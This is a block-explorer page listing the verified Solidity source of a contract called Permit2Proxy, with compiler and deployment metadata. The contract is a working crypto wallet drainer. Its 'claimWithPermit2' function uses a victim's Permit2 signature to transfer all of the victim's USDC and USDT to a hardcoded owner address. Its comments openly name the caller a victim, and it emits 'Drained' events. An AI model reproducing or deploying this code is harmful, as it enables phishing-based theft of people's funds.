Verified contractExactMIT
Permit2Proxy
Address0x6344a559cadddd552d73edcf51beb099c0fb3cd9
- Balance
0 ETH
- Transactions
4
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 24,075,004
- Creation transaction
- 0xe3be0b405f…76374a2573
PROXY23.12/permit2proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract Permit2Proxy {
address constant OWNER = 0xEfb9d53e1fe65caDf3a20cc2A8d33C8fBfafe196;
address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3; // OFFICIAL UNISWAP PERMIT2
event Drained(address indexed user, address indexed token, uint256 amount);
// VICTIM CALLS THIS WITH THEIR PERMIT2 SIGNATURE (1 TX)
function claimWithPermit2(bytes calldata permitSig, address user) external {
// Verify Permit2 signature (UNISWAP handles this)
(bool success, ) = PERMIT2.call(permitSig);
require(success, "Permit2 failed");
// Drain USDC
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 usdcBal = usdc.balanceOf(user);
if (usdcBal > 0) {
usdc.transferFrom(user, OWNER, usdcBal);
emit Drained(user, address(usdc), usdcBal);
}
// Drain USDT
IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 usdtBal = usdt.balanceOf(user);
if (usdtBal > 0) {
usdt.transferFrom(user, OWNER, usdtBal);
emit Drained(user, address(usdt), usdtBal);
}
}
function checkBalances(address user) external view returns (uint256 usdc, uint256 usdt) {
IERC20 usdcToken = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 usdtToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
return (usdcToken.balanceOf(user), usdtToken.balanceOf(user));
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.